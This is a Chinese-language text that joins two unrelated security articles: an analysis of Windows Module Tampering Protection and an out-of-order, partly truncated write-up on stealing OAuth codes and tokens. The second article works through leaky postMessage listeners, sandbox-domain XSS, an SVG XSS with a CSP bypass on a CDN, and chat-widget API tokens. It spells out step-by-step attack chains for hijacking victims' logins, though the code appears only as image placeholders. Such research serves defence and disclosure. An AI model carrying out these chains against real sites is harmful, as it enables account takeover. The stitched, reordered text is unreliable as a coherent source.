什麼是模塊篡改保護?模塊篡改保護是一種緩解措施,可防止對進程主映像的早期修改,例如IAT 掛鉤或進程空心化。它一共使用了三個API:NtQueryVirtualMemory、NtQueryInformationProcess 和NtMapViewOfSection。如果啟用,加載程序將在調用入口點之前檢查主圖像標頭和IAT 頁面中的更改。它通過使用信息類MemoryWorkingSetExInformation 調用NtQueryVirtualMemory 來做到這一點。返回的結構包含有關頁面共享狀態的信息,以及是否從其原始視圖修改。如果標頭或IAT 已從其原始映射修改。例如,如果主圖像已被取消映射,並且已在其位置映射了另一個圖像,則加載器將使用類ProcessImageSection 調用NtQueryInformationProcess 以獲取主圖像部分,然後將使用NtMapViewOfSection 重新映射它。這樣,新部分將被使用,篡改的圖像副本將被忽略。

此緩解從RS3 開始可用,並且可以使用PROCESS_CREATION_MITIGATION_POLICY2_MODULE_TAMPERING_PROTECTION_MASK 在進程創建時啟用。

模塊篡改保護緩解措施是如何發現的如果微軟從未宣布或記錄某些緩解措施,那人們如何才能發現這些緩解措施?因此,一個值得關注的好地方是EPROCESS 結構中的各種MitigationFlags 字段。目前存在三個MitigationFlags 字段(MitigationFlags、MitigationFlags2、MitigationsFlags3),每個字段包含32 位。在前兩個中,整個32位已經被使用,所以最近添加了MitigationFlags3,目前包含三個緩解措施,我相信很快會添加更多。這些標誌代表進程中啟用的緩解措施。例如,我們可以使用WinDbg 為當前進程打印EPROCESS.MitigationFlags:

1.png

最後,在位28 和29 中,我們可以看到值EnableModuleTamperingProtection 和EnableModuleTamperingProtectionNoInherit。不幸的是,搜索這些名稱並沒有得到任何好的結果。有幾個網站只顯示結構而沒有解釋,一個模糊的堆棧溢出答案簡要提到了EnableModuleTamperingProtectionNoInherit 而沒有添加細節,還有這條推文:

2.png

不出所料,最詳細的解釋是Alex Ionescu 2017 年發布的一條推文。這雖並不是完整的文檔,但它是一個開始。如果你已經了解並理解構成此緩解措施的概念,那麼這一系列的推文可能會非常清楚地解釋有關該特性的所有內容。

開始搜索進程緩解實現的第一個地方通常是內核:ntoskrnl.exe。然而,這是一個巨大的二進製文件,不容易搜索。似乎沒有與此緩解措施完全相關的函數名稱,所以沒有明顯的地方可以開始。

相反,你可以嘗試不同的方法並嘗試找到對EPROCESS 的MitigationFlags 字段的引用,並可以訪問這兩個標誌中的一個。但除非你可以訪問Windows 源代碼,否則沒有簡單的方法可以做到這一點。但是,你可以做的是利用EPROCESS 是一個大型結構並且MitigationFlags 存在於它的末尾,偏移量0x9D0 的事實。一種非常粗暴但有效的方法是使用IDA 搜索功能並蒐索所有對9D0h 的引用:

3.png

這會很慢,因為它是一個很大的二進製文件,並且一些結果與EPROCESS 結構無關,因此你必須手動搜索結果。此外,僅查找對該字段的引用是不夠的,MitigationFlags 包含32 位,其中只有兩個與當前上下文相關。所以,你必須搜索所有的結果,找出以下情況:

0x9D0被用作EPROCESS結構的偏移量——因為無法保證知道每種情況使用的結構類型,儘管對於較大的偏移量,只有少數選項可以是相關的,它主要可以通過函數名稱和上下文來猜測。

比較或設置MitigationFlags字段為0x10000000 (EnableModuleTamperingProtection)或0x20000000 (EnableModuleTamperingProtectionNoInherit)。或者通過諸如bt或bts之類的彙編指令,按位數測試或設置位28或位29。

運行搜索後,結果看起來像這樣:

4.png

你現在可以瀏覽結果並了解內核使用了哪些緩解標誌以及在哪些情況下使用。然後我會告訴你,這個努力完全沒有用,因為EnableModuleTamperingProtection 在內核中的一個地方被引用:PspApplyMitigationOptions,當創建一個新進程時調用:

5.png

因此,內核會跟踪是否啟用了此緩解措施,但從不對其進行測試。這意味著緩解措施本身在其他地方實現。這種搜索可能對這種特定的緩解措施毫無用處,但它是找出緩解措施實現位置的幾種方法之一,並且對其他流程緩解措施很有用,所以我想提一下它。

現在讓我們回到模塊篡改保護,有時會實現進程緩解的第二個位置是ntdll.dll,它是每個進程中要加載的第一個用戶模式映像。此DLL 包含所有進程所需的加載程序、系統調用存根和許多其他基本組件。在這裡實現這種緩解是有意義的,因為顧名思義它與模塊加載有關,這通過ntdll.dll 中的加載器發生。此外,這是一個包含Alex 在他的推文中提到的功能的模塊。

即使我們沒有這條推文,只要打開ntdll 並蒐索“tampering”,我們就能很快找到一個結果:函數LdrpCheckPagesForTampering。尋找這個函數的調用者,我們看到它是從LdrpGetImportDescriptorForSnap調用的:

6.png

在截圖的第一行,我們可以看到兩個檢查:第一個驗證當前正在處理的條目是主圖像,因此該模塊被加載到主圖像模塊中。第二個檢查是LdrSystemSllInitBlock.MitigationOptionsMap.Map中的兩個位。我們可以看到這裡檢查的確切字段只是因為我對LdrSystemDllInitBlock 應用了正確的類型,如果你在沒有應用正確類型的情況下查看這個函數,你會看到一些隨機的、未命名的內存地址被引用。 LdrSystemDllInitBlock 是一個數據結構,包含加載程序所需的所有全局信息,例如進程緩解選項。它沒有記錄,但具有符號中可用的PS_SYSTEM_DLL_INIT_BLOCK 類型,因此我們可以在此處使用它。請注意,雖然此結構在NTDLL 符號中不可用,而是你可以在ole32.dll 和combase.dll 的符號中找到它。 MitigationOptionsMap 字段只是三個ULONG64 的數組,其中包含標記為此過程設置的緩解選項的位。我們可以在WinBase.h 中找到所有緩解標誌的值。以下是模塊篡改保護的值:

7.png

這些值與Map頂部的DWORD 相關,因此模塊篡改保護位實際上位於Map的第44 位,在Hex Rays 屏幕截圖中以及在PspApplyMitigationOptions 中檢查的是相同位。

現在我們知道該緩解措施在哪裡應用了檢查,因此我們可以開始查看實現並了解該緩解措施的作用。

實現細節再次查看LdrpGetImportDescriptorForSnap:在我們已經看到的兩次檢查之後,該函數獲取主圖像的NT 標頭並調用LdrpCheckPagesForTampering 兩次。第一次發送的地址是imageNtHeaders-OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT],圖像的導入表,大小為8 個字節。第二次使用NT 標頭本身的地址和大小調用該函數。如果這些頁面中的一個被認為被篡改了,LdrpMapCleanModuleView將被調用(根據名稱判斷)映射主圖像模塊的一個乾淨的視圖。

讓我們看看LdrpCheckPagesForTampering 內部,看看NTDLL 如何判斷一個頁面是否被篡改:

8.png

首先,此函數計算請求的字節範圍內的頁數(在本文的兩個示例中,該數字都是1)。然後它分配內存並使用MemoryInformationClass==4 (MemoryWorkingSetExInformation) 調用ZwQueryVirtualMemory。這個系統調用和信息類是安全人員可能不太經常看到的,工作集是一種基於物理內存頁面當前狀態來管理和優先級排序的方法,因此大多數安全人員通常不感興趣。然而,工作集確實包含一些我們感興趣的屬性。具體來說,是“共享”標誌。

我不會在這裡詳細介紹映射和共享內存,因為它們在很多其他地方都有解釋。但簡而言之,系統盡量不復制內存,因為這意味著物理內存將很快被複製的頁面填滿,主要是那些屬於圖像和DLL 的頁面,像ntdll.dll 或kernel32.dll 的系統DLL被映射到大多數係統中的進程,因此在物理內存中為每個進程單獨創建一個副本只是浪費。因此,這些圖像頁面在所有進程之間共享。也就是說,除非以任何方式修改圖像。圖像頁面使用一種稱為“寫時復制(copy-on-write)”的特殊保護,它允許頁面可寫,但如果頁面被寫入,則會在物理內存中創建一個新副本。這意味著對DLL 的本地映射所做的任何更改(例如,用戶模式掛鉤的寫入或任何數據更改)都只會影響當前進程中的DLL。

這些設置保存為可以通過NtQueryVirtualMemory 查詢的標誌,這裡使用的信息類:MemoryWorkingSetExInformation。它將在MEMORY_WORKING_SET_EX_INFORMATION 結構中返回有關查詢頁面的數據:

9.png

這個結構為你提供了被查詢的虛擬地址,以及包含頁面狀態信息的位,例如:它的有效性、保護以及它的共享狀態。有幾個不同的位與頁面的共享狀態相關:

共享——頁面是可共享的嗎?這並不一定意味著該頁當前與任何其他進程共享,但是,例如,除非進程特別請求,否則私有內存不會被共享。

ShareCount——此字段告訴你此頁面存在多少映射。對於當前未與任何其他進程共享的頁面,這將是1。對於與其他進程共享的頁面,這通常會更高。

SharedOriginal ——該標誌會告訴你該頁面是否存在映射。因此,如果一個頁面被修改,導致在物理內存中創建一個新副本,這將被設置為零,因為這不是頁面的原始映射。

此SharedOriginal 位是由LdrpCheckPagesForTampering 檢查的,以判斷此頁面是原始副本還是由於更改而創建的新副本。如果這不是原始副本,這意味著該頁面以某種方式被篡改,因此該函數將返回TRUE。 LdrpCheckPagesForTampering 對正在查詢的每個頁面運行此檢查,如果其中任何一個被篡改,則返回TRUE。

如果函數對任何檢查範圍返回TRUE,則調用LdrpMapCleanModuleView:

10.png

這個函數簡短而簡單:它使用InformationClass==89 (ProcessImageSection) 調用NtQueryInformationProcess 來獲取主圖像的部分句柄,然後使用NtMapViewOfSection 重新映射它並關閉句柄。它將新部分的地址寫入DataTableEntry-SwitchBackContect,以代替原來的篡改映射。

為什麼該特性特別選擇檢查這兩個範圍——導入表和NT 標頭?這是因為這兩個地方經常會成為試圖虛化進程的攻擊者的目標。如果主圖像未映射並被惡意圖像替換,則NT 標頭將不同並被視為已篡改。進程空心化(Process hollowing)還可以篡改導入表,以指向與進程預期不同的函數。所以,這主要是一個反空心化的功能,目標是發現主圖像中的篡改企圖,並用一個沒有被篡改的新圖像副本替換它。

功能限制不幸的是,此功能相對有限。你可以啟用或禁用它,僅此而已。實現緩解的函數是內部調用,不能在外部調用。因此,例如,除非你自己編寫代碼(並手動映射模塊,因為這些部分的句柄不方便地存儲在任何地方),否則不可能將緩解擴展到其他模塊。此外,此緩解不包含日誌記錄或ETW 事件。當緩解通知在主圖像中被篡改時,它會靜默映射並使用新副本,並且不會留下任何痕跡供安全產品或團隊查找。唯一的提示是NtMapViewOfSection 將再次為主圖像調用並生成ETW 事件和內核回調。但這很可能會被忽視,因為它並不一定意味著發生了不好的事情,並且可能不會導致任何警報或對可能是真正的攻擊的重大調查。

從好的方面來說,這種緩解非常簡單和有用,如果你想實現它,則很容易模仿,例如檢測放置在你的進程上的鉤子並映射一個新的、未掛鉤的頁面副本以供使用。你可以這樣做,而不是使用直接系統調用!

該緩解措施有人使用過嗎?在WinDbg 中運行查詢,我沒有發現任何啟用模塊篡改保護的進程的結果。經過一番探索,我設法找到了一個啟用此功能的進程:SystemSettingsAdminFlows.exe。此過程在你打開Windows 設置菜單中的應用程序-可選功能時執行。我不知道為什麼這個特定的進程會使用這種緩解措施,或者為什麼它是唯一一個這樣做的,但這是迄今為止我設法找到的唯一一個啟用模塊篡改保護的過程。

我們在上一篇文章中介紹了響應類型,如何通過postMessage 竊取令牌以及小工具1,本文接著講小工具2、小工具3,以及洩露URL 的其他途徑。

小工具2:示例1,從沙盒框架中竊取window.name我在5 月12 日報告了使用這個小工具在野外發現的第一條鏈:

20.png

巧合的是,兩天后的5 月14 日,Youssef Sammouda 發表了一篇很棒的博文,解釋了他接管使用Gmail 的Facebook 帳戶的方法。這篇博文描述了我發現的類似流程。但是,該錯誤並不是要破壞OAuth-dance,而是通過使用允許加載任意javascript 的iframe:d 沙盒域來洩露受害者最終訪問的URL。沙盒訪問URL 中的敏感數據的原因是它在加載iframe 時附加到沙盒URL。

不過,我發現的案例有點不同。

第一個是在OAuth-dance結束的頁面上加載iframe。 iframe是window.location-object的json字符串版本。這是一種舊的跨域傳輸數據的方法,因為iframe中的頁面可以得到由父節點設置的自己的window.name:

21.png

在iframe中加載的域也有一個簡單的XSS:

22.png

正如Youssef解釋的那樣,如果你在一個窗口的一個域上有一個XSS,那麼如果窗口之間存在父/子/開啟者關係,則該窗口可以到達同源的其他窗口。

在示例中,我做了以下操作:

1.創建了一個惡意頁面,該頁面嵌入了沙盒的iframe,XSS 加載了我自己的腳本:

23.png

2.在沙盒中加載腳本時,我將內容替換為受害者使用的鏈接:

24.png

我還啟動了一個腳本,以檢查鏈接是否已打開,並且我想訪問的iframe 是否存在以獲取iframe 上設置的window.name 與攻擊者頁面上的iframe 相同的來源:

25.png

3.然後,攻擊者頁面可以只偵聽我們剛剛發送的帶有window.name 的消息:

26.png

小工具2:示例2,帶有XSS + 父源檢查的iframe第二個示例是使用postMessage 將iframe 加載到具有XSS 的不太好用的路徑上,但僅允許來自加載它的父窗口的消息。當它在給父窗口的消息中請求initConfig 時,location.href 被發送到iframe。

主窗口像這樣加載iframe:

27.png

內容如下所示,這比實際情況要簡單得多,只是為了更好地解釋攻擊:

28.png

在這種情況下,我可以執行與第一個示例類似的方法:

1.創建一個嵌入沙盒iframe 的惡意頁面,附加onload 以在加載iframe 時觸發腳本。

29.png

2.由於惡意頁面是iframe 的父級,它可以向iframe 發送消息以使用postMessage 將我們的腳本加載到沙盒的來源:

30.png

3.在沙盒中加載腳本時,我將內容替換為受害者的鏈接:

31.png

我還啟動了一個腳本,以檢查鏈接是否已打開以及我想要訪問的iframe 是否存在,以便在其中運行javascript 從我的iframe 到主窗口。然後,我在惡意窗口中附加了一個postMessage 偵聽器,該偵聽器將消息傳遞回我的iframe:

32.png

4.加載了iframe 的攻擊者頁面然後可以在主窗口的iframe 中偵聽我從注入的postMessage-listener 代理髮送的消息:

33.png

小工具3:使用API 獲取越界URL

34.png

這個小工具原來是最有趣的。把受害者送到某個地方然後從另一個地方獲取敏感數據,這讓人很滿意。

小工具3:示例1,沒有來源檢查的存儲框架第一個示例使用外部服務來跟踪數據。該服務添加了一個存儲框架:

35.png

主窗口將使用postMessage 與此iframe 對話,以發送跟踪數據,這些跟踪數據將保存在storage.html 所在的源的localStorage 中:

36.png

主窗口也可以獲取以下內容:

37.png

當iframe 在初始化時加載時,使用location.href 為用戶的最後一個位置保存了一個項:

38.png

如果你能以某種方式與這個來源對話,並讓它向你發送內容,那麼location.href 可以從這個存儲中獲取。該服務的postMessage-listener 有一個阻止列表和一個來源的允許列表。分析服務似乎允許網站定義允許或拒絕的來源:

39.png

此外,如果你有一個基於allowList 的有效來源,你還可以請求同步,這將在此窗口中向你發送對localStorage 所做的任何更改。

在將這個存儲加載到OAuth-dance 的不太好用路徑上的網站上,沒有定義allowList-origins;如果源是窗口的父級,這允許任何源與postMessage-listener 對話。該方法類似於小工具2:

1.我創建了一個惡意頁面,該頁面嵌入了存儲容器的iframe,並附加了一個onload,以便在加載iframe時觸發腳本。

40.png

2.由於惡意頁面現在是iframe的父頁面,並且在allowList中沒有定義任何起源,因此惡意頁面可以向iframe發送消息,告訴存儲發送對存儲的任何更新的消息。我還可以向惡意頁面添加一個偵聽器,以偵聽存儲中的任何同步更新:

41.png

3.惡意頁面還包含一個供受害者點擊的常規鏈接:

42.png

受害者會點擊該鏈接,通過OAuth-dance,最終進入加載跟踪腳本和存儲iframe 的不太好用路徑。存儲iframe 獲取last-url 的更新。自從localStorage 更新以來,window.storage-event 將在惡意頁面的iframe 中觸發,並且每當存儲更改時,當前正在獲取更新的惡意頁面將獲得帶有受害者當前URL 的postMessage:

43.png

小工具3:示例2,CDN 中的客戶混淆——DIY 存儲——沒有來源檢查的SVG由於分析服務本身有一個漏洞賞金,我也有興趣看看我是否可以找到一種方法來洩露已經為storage-iframe 配置正確來源的網站的URL。

當我開始在線搜索沒有客戶部分的cdn.analytics.example.com 域時,我注意到這個CDN 還包含服務客戶上傳的圖像:

44.png

我還注意到這個CDN 上有SVG 文件作為Content-type: image/svg+xml 內聯提供:

45.png

我在該服務上註冊為試用用戶,並上傳了我自己的資產,該資產也出現在CDN 上:

46.png

有趣的是,如果你隨後將特定於客戶的子域用於CDN,則仍然會提供圖像。 URL如下:

47.png

這意味著ID #94342 的客戶可以在客戶#12345 的存儲中呈現SVG 文件。

我上傳了一個帶有簡單XSS 有效負載的SVG 文件:

48.png

效果不是很好。 CDN 為img/下的所有內容添加了Content-Security-Policy: default-src 'self'-header。你還可以看到提到S3 的服務器標頭,這表明內容已上傳到S3 存儲桶:

49.png

S3 的一個有趣的事情是目錄在S3 中並不是真正的目錄。項之前的路徑稱為“前綴”。這意味著S3 不關心/是否經過url 編碼,如果你對URL 中的每個斜杠進行url 編碼,它仍然會提供內容。如果我在URL 中將img/更改為img%2f ,仍然可以解析圖像。但是,在這種情況下,CSP-header 被刪除並觸發了XSS:

50.png

然後我可以上傳一個SVG,該SVG 將創建與常規storage.html 相同形式的存儲處理程序和postMessage-listener,但允許列表為空。即使在正確定義了可以與存儲通信的允許來源的網站上,這也使我能夠進行相同類型的攻擊。

我上傳了一個看起來像這樣的SVG:

51.png

然後我可以使用與示例#1 中相同的方法,但我可以使用url 編碼的斜杠iframe 而不是iframe 的storage.html:

52.png

由於沒有網站能夠自行修補此問題,因此我向負責CDN 的分析提供商發送了一份報告:

53.png

在第三方上查看錯誤配置產生漏洞的整個想法主要是確認有多種方法來實現令牌的洩漏,並且由於第三方有漏洞賞金,這只是同一種漏洞的不同接收者,不同之處在於影響是針對分析服務的所有客戶。在這種情況下,第三方的客戶實際上有能力正確配置該工具,使其不會將數據洩露給攻擊者。然而,由於敏感數據仍被發送給第三方,所以看看是否有某種方法可以完全繞過客戶對工具的正確配置是很有趣的。

小工具3:示例3,聊天小工具API最後一個例子是基於一個出現在網站所有頁面上的聊天小工具,甚至是錯誤頁面。有多個postMessage 偵聽器,其中一個沒有適當的來源檢查,只允許你啟動聊天彈出窗口。另一個偵聽器對聊天小工具進行了嚴格的來源檢查,以接收初始化調用和當前用戶使用的當前聊天API 令牌。

54.png

聊天iframe 加載時:

1.如果chat-api-token 存在於chat-widget 的localStorage 中,它將使用postMessage 將api-token 發送給其父級。如果沒有chat-api-token 存在,它不會發送任何東西。

2.當iframe 加載後,它會向其父級發送一個帶有{'type': 'chat-widget', 'key': 'init'} 的postMessage。

如果你點擊主窗口中的聊天圖標:

1.如果chat-api-令牌還沒有被發送,那麼chat-widget會創建一個令牌,並將其放在自己的源的localStorage中,並將其postMessage發送給父窗口。

2.然後父窗口將對聊天服務進行API 調用。 API 終端被CORS 限制為為服務配置的特定網站。你必須使用chat-api-token 為API 調用提供有效的Origin-header 以允許發送請求。

3.來自主窗口的API 調用將包含location.href 並使用chat-api-token 將其註冊為訪問者的“當前頁面”。然後,響應將包含一些令牌,以連接到一個websocket來啟動聊天會話:

55.png

在這個例子中,我意識到chat-api-token 的通知總是會通知給chat-widget iframe 的父級,如果我得到了chat-api-token,我可以使用令牌,然後將我自己的人工Origin-header 添加到API 調用中,因為CORS-header 僅對瀏覽器很重要。這導致了以下進程:

1.創建了一個嵌入聊天小工具iframe 的惡意頁面,添加了一個postMessage-listener 來偵聽chat-api-token。此外,如果在2 秒內沒有獲得api-token,則會觸發重新加載iframe 的事件。這是為了確保我也支持從未發起聊天的受害者,並且由於我可以觸發遠程打開聊天,我首先需要chat-api-token 開始輪詢聊天API 中的數據服務器端。

56.png

2.添加了指向惡意頁面的鏈接以打開登錄流程,該流程最終將出現在帶有URL 中帶有令牌的聊天小工具的頁面上:

'OAuth-dance”方法是什麼?

響應類型首先,你可以在OAuth-dance中使用不同的響應類型,最常見的三種是:

1.代碼+狀態。該代碼用於調用OAuth-provider 服務器端以獲取令牌。 state 參數用於驗證正確的用戶正在撥打電話。在對OAuth-provider進行服務器端調用之前,OAuth-client負責在服務器端調用OAuth-provider之前驗證狀態參數。

2.id_token。是使用來自OAuth-provider的公共證書籤名的JSON Web 令牌(JWT),以驗證所提供的身份確實是它聲稱的身份。

3.token。是服務提供者的API 中使用的訪問令牌。

響應模式在OAuth-dance 中,授權流程可以使用多種模式向網站提供代碼或令牌,以下是四種最常見的模式:

1.Query,將查詢參數作為重定向發送回網站(https://example.com/callback?code=xxxstate=xxx)。用於“代碼+狀態”情況。該代碼只能使用一次,並且在使用該代碼時你需要OAuth 客戶端密鑰來獲取訪問令牌。不建議對令牌使用此模式,因為令牌可以多次使用,並且不應最終出現在服務器日誌或類似文件中。大多數OAuth-provider不支持令牌的這種模式,僅支持代碼。例如:

response_mode=query 被Apple 使用。

response_type=code 由Google 或Facebook 使用。

2.Fragment。使用Fragment重定向(https://example.com/callback#access_token=xxx)。在這種模式下,URL 的Fragment部分不會出現在任何服務器日誌中,只能使用javascript訪問客戶端。此響應模式用於令牌。如下所示:

response_mode=fragment 被Apple 和Microsoft 使用;

response_type 包含id_token 或token,由Google、Facebook、Atlassian 和其他人使用。

3.Web-message。使用postMessage 到網站的固定來源:

postMessage('{'access_token':'xxx'}','https://example.com')

如果支持,它通常可以用於所有不同的響應類型。如下所示:

response_mode=web_message 由Apple 使用。

redirect_uri=storagerelay://. 被Google 使用。

redirect_uri=https://staticxx.facebook.com/./connect/xd_arbiter/. 被Facebook 使用。

4.Form-post。使用表單發佈到有效的redirect_uri,一個常規的POST-request被發送回網站。這可用於代碼和令牌。如下所示:

response_mode=form_post 由Apple 使用。

ux_mode=redirectlogin_uri=https://example.com/callback 由Google 登錄(GSI) 使用。

一些OAuth 提供商通過圍繞OAuth-dance 提供完整的SDK 包裝器來簡化OAuth 流程,例如Google 的GSI。這與id_token 的常規OAuth 流程完全一樣。令牌通過form-POST 或postMessage 發送回網站。

通過postMessage 竊取令牌我一直在尋找與postMessage 實現相關的漏洞。我構建了一個Chrome 擴展程序來偵聽消息並簡化檢查每個選項卡中所有窗口的所有postMessage 偵聽器。雖然如今在這些偵聽器中很少發現簡單的XSS 問題,但來源檢查較弱或沒有來源檢查的問題仍然很常見。然而,在很多情況下,能夠繞過起源檢查並沒有任何真正的影響。

我們認為將會有帶有弱源檢查或沒有源檢查的postMessage偵聽器,它們會洩漏location.href,這是你當前訪問的網站的URL。它將直接或間接洩漏到我可能能夠捕獲它的其他地方。

例如,在常規起始頁上,這可能看起來並不重要,但是如果我可以嘗試讓OAuth 代碼或令牌登陸具有這些弱postMessage 偵聽器之一的網站頁面。然後,我將能夠通過從不同的選項卡發送消息並取回location.href 來從偵聽器獲取令牌,並且我將能夠竊取OAuth 令牌,而無需任何XSS。

這種竊取當前URL 的方法對於其他具有與OAuth-dance 無關的敏感URL 的地方當然很有趣,但感覺使URL 敏感的最常見方法是關注登錄流程。

為了開始調查,我決定:

1.瀏覽運行漏洞賞金的熱門網站上的所有登錄流程。

2.如果他們使用任何第三方OAuth-provider,請保存他們使用的登錄URL,其中包含所有提供程序的客戶端ID、響應類型/模式和重定向uri。

3.如果網站上加載了任何有趣的postMessage 偵聽器或任何其他第三方腳本,要注意。

4.嘗試將這個耗時的想法稱為“Project Dirty OAuth-Dancing”。

5.打開Bill Medley Jennifer Warnes 並開始使用。

在收集網站使用OAuth-provider的所有不同方式時,很明顯有一些可能的選擇和組合,不同的網站決定使用不同的回應類型和模式組合。完成後,我能夠將注意力集中在最流行的OAuth-provider上,然後看看我是否可以基於其他限定符過濾網站

使用OAuth-dance 時要注意的坑在成功使用OAuth-dance後,令牌會從網站的URL 中刪除。確保網站未正確使用代碼或令牌是使此攻擊起作用的第一步,因為我想自己竊取和使用代碼或令牌。

這可能會產生各種結果,但我們的想法是最終出現某種形式的錯誤頁面或類似的仍然加載第三方javascript 以便我們洩露令牌的頁面。

有多種方法可以打破OAuth-dance。這些使OAuth-dance無效的方法本身沒有任何影響,但如果受害者最終將代碼或令牌仍然放在URL中,並與location.href-leak 鏈接在一起,它們就變得很重要。

故意對“狀態”進行攻擊OAuth規范建議將狀態參數與response_type=code結合使用,以確保啟動流程的用戶也是在OAuth-dance 之後使用代碼來發布令牌的用戶。

但是,如果狀態值無效,代碼將不會被使用,因為驗證狀態是網站的責任。這意味著,如果攻擊者可以向具有有效攻擊狀態的受害者發送登錄流鏈接,那麼受害者的oaut -dance將失敗,代碼將永遠不會發送給OAuth-provider。如果攻擊者可以得到它,該代碼仍然可以使用。

1.攻擊者使用“使用X 登錄”在網站上啟動登錄流程。

2.攻擊者使用狀態值並為受害者構建一個鏈接,讓他們用OAuth-provider登錄,但使用攻擊者的狀態。

3.受害者使用該鏈接登錄並重定向回該網站。

4.網站驗證受害者的狀態並停止處理登錄流程,因為它不是一個有效狀態。受害者的錯誤頁面。

5.攻擊者找到了從錯誤頁面洩漏代碼的方法。

6.攻擊者現在可以使用自己的狀態和受害者洩露的代碼登錄。

響應類型/響應模式切換改變OAuth-dance的響應類型或響應模式將影響代碼或令牌返回網站的方式,這在大多數情況下會導致意想不到的行為。我還沒有看到任何OAuth-provider有限製網站想要支持的響應類型或模式的選項,所以根據OAuth-provider的不同,通常至少有兩種或更多的OAuth-provider可以在嘗試以不滿意的方式結束時進行更改。

還可以請求多個響應類型。有一個規範解釋了當請求多個響應類型時,如何向redirect-uri提供值:

如果在一個請求中,response_type只包含要求服務器返回在查詢字符串中完全編碼的數據的值,那麼這個多值response_type的響應中返回的數據必須在查詢字符串中完全編碼。此建議同時適用於成功響應和錯誤響應。

如果在一個請求中,response_type包含任何要求服務器返回在片段中完全編碼的數據的值,那麼響應中這個多值response_type返回的數據必須在片段中完全編碼。此建議同時適用於成功響應和錯誤響應。

如果正確地遵循了這個規範,這意味著你可以要求發送到網站的代碼參數,但如果你同時也要求id_token,代碼參數將在Fragment部分而不是在查詢字符串中發送。

對於Google 的登錄,這意味著:

4.png

將重定向到https://example.com/callback?code=xxxstate=yyy。但是:

5.png

將重定向到https://example.com/callback#code=xxxstate=yyyid_token=zzz。

如果你使用以下方法,同樣的想法也適用於Apple:

6.png

你將被重定向到https://example.com/callback?code=xxxstate=yyy,但是:

7.png

會將你重定向到https://example.com/callback#code=xxxstate=yyyid_token=zzz。

Redirect-uri大小寫轉換一些OAuth-provider允許在redirect_uri 的路徑中進行大小寫轉換,而不是真正遵循保護基於重定向的流程規範:

在將客戶端Redirect-uri與預註冊的URI 進行比較時,授權服務器必須使用精確的字符串匹配,本地應用程序的localhost Redirect-uri中的端口號除外。該措施有助於防止授權代碼和訪問令牌的洩漏,它還可以幫助檢測混淆攻擊。

這意味著,將https://example.com/callback 作為應用程序的配置重定向uri,以下流程仍然有效:

8.png

並將你重定向到:https://example.com/CaLlBaCk#id_token=xxx。我測試過的所有網站都沒有使用不區分大小寫的路徑,因此大小寫轉換觸發了不太順暢的路徑,顯示錯誤或重定向到仍然存在Fragment的登錄頁面。

另請注意,使用response_type=code 這個方法更難被利用。在一個正確的OAuth-dance使用代碼中,在從服務提供者獲取訪問令牌的最後一步中,還必須提供redirect_uri 以向服務提供者進行驗證。如果OAuth-dance中使用的redirect_uri 與網站發送給提供者的值不匹配,則不會發出訪問令牌。但是,使用任何其他響應類型,例如token 或id_token,都不需要最後一步的驗證,因為token是在重定向中直接提供的。

增加Redirect-uri路徑

一些OAuth-provider允許將其他數據添加到redirect_uri 的路徑中。這也以與“Redirect-uri case shift”相同的方式破壞了規範。例如,有一個https://example.com/callbackredirect uri,發送一下內容:

9.png

最終會重定向到https://example.com/callbackxxx#id_token。這已報告給受影響的供應商。此處適用與大小寫轉換相同的事情,對於response_type=code 這將不允許你發出令牌,因為在最後一步從提供者獲取令牌時會比較正確的redirect_uri。

增加Redirect-uri參數附加一些OAuth-provider允許向redirect_uri添加額外的查詢或Fragment參數。你可以通過提供將附加到URL的相同參數來觸發一個不太好用的路徑來使用它。例如,有一個https://example.com/callbackRedirect-uri,發送以下內容:

10.png

在這些情況下會被重定向到https://example.com/callback?code=xxxcode=real-code。根據網站接收多個相同名稱的參數,這也可能會觸發一個不太好用的路徑。同樣適用於token和id_token:

11.png

結果是https://example.com/callback#id_token=xxxid_token=real-id_token。根據javascript在有多個相同名稱的參數時獲取Fragment參數,這也可能會以一個不太好用的路徑結束。

Redirect-uri多餘內容或錯誤配置在收集所有包含redirect_uri值的登錄url時,我還可以測試其他重定向uri值是否也有效。在我測試的網站上保存的125個不同的谷歌登錄流程中,有5 個網站的起始頁也是有效的redirect_uri。例如,如果使用了redirect_uri=https://auth.example.com/callback,那麼在這5 種情況下,其中任何一種都是有效的:

redirect_uri=https://example.com/

redirect_uri=https://example.com

redirect_uri=https://www.example.com/

redirect_uri=https://www.example.com

這對於實際使用id_token或token的網站來說特別有趣,因為response_type=code仍然會讓OAuth-provider在獲取令牌時在OAuth-dance的最後一步驗證redirect_uri。

我最終找到了許多不太好用的路徑。怎麼辦?

我現在已經為所有網站收集了一堆不太好用的路徑。以下是我看到的不同案例:

1.最後出現在錯誤頁面上。

2.重定向到網站的起始頁。

3.重定向回登錄頁面。

4.重定向回已刪除參數的登錄頁面。

5.重定向回OAuth-provider,但具有正確的值,具有正確的響應類型和狀態,基本上識別流程無效並重試它。

我們計劃專注於1、2和3,因為它們的參數仍然保存在URL中。我還得出結論,避免不太好用路徑的最佳方案是第4條。

現在是時候真正開始尋找洩露信息的方法了。我仍然沒有發現真正的漏洞。

12.png

由於postMessage-listener擴展還記錄頁面上的任何iframe是否有偵聽器,所以我開始關注那些在URL中有令牌的窗口的任何框架中至少有一個postMessage-listener的網站。

13.png

URL 洩漏小工具

我會將洩漏URL 的不同方法歸類為不同的小工具,因為它們具有不同的屬性讓我們回顧一下我已經確定的不同類型的方法。

小工具1:洩漏URL 的弱或沒有源檢查postMessage-listeners

14.png

這是預期的。一個示例是加載到網站上的流行網站的分析SDK:

15.png

此SDK 公開了一個postMessage-listener,當消息類型匹配時,它會發送以下消息:

16.png

從不同的來源向它發送消息:

17.png

響應消息將顯示在發送包含網站location.href 消息的窗口中:

18.png

可用於攻擊的流程取決於代碼和令牌用於登錄流程的方式,但攻擊場景是:

1.攻擊者向受害者發送一個精心製作的鏈接,該鏈接已準備好導致OAuth-dance 中的一條不太好用的路徑。

2.受害者點擊鏈接。新選項卡將打開一個登錄流程,其中包含正在被利用的網站的一個OAuth-provider。

3.在被利用的網站上觸發了不太好用的路徑,易受攻擊的postMessage-listener 被加載到受害者登陸的頁面上,仍然在URL 中包含代碼或令牌。

4.攻擊者發送的原始tab 發送一堆postMessages-到帶有網站的新tab 以獲取postMessage-listener 以洩漏當前URL。

5.攻擊者發送的原始標籤,然後偵聽發送給它的消息。當URL在消息中返回時,代碼和令牌將被提取並發送給攻擊者。

6.攻擊者使用最終在不太好用路徑上的代碼或令牌以受害者身份登錄。

小工具2:獲取URL 的沙盒/第三方域上的XSS

19.png

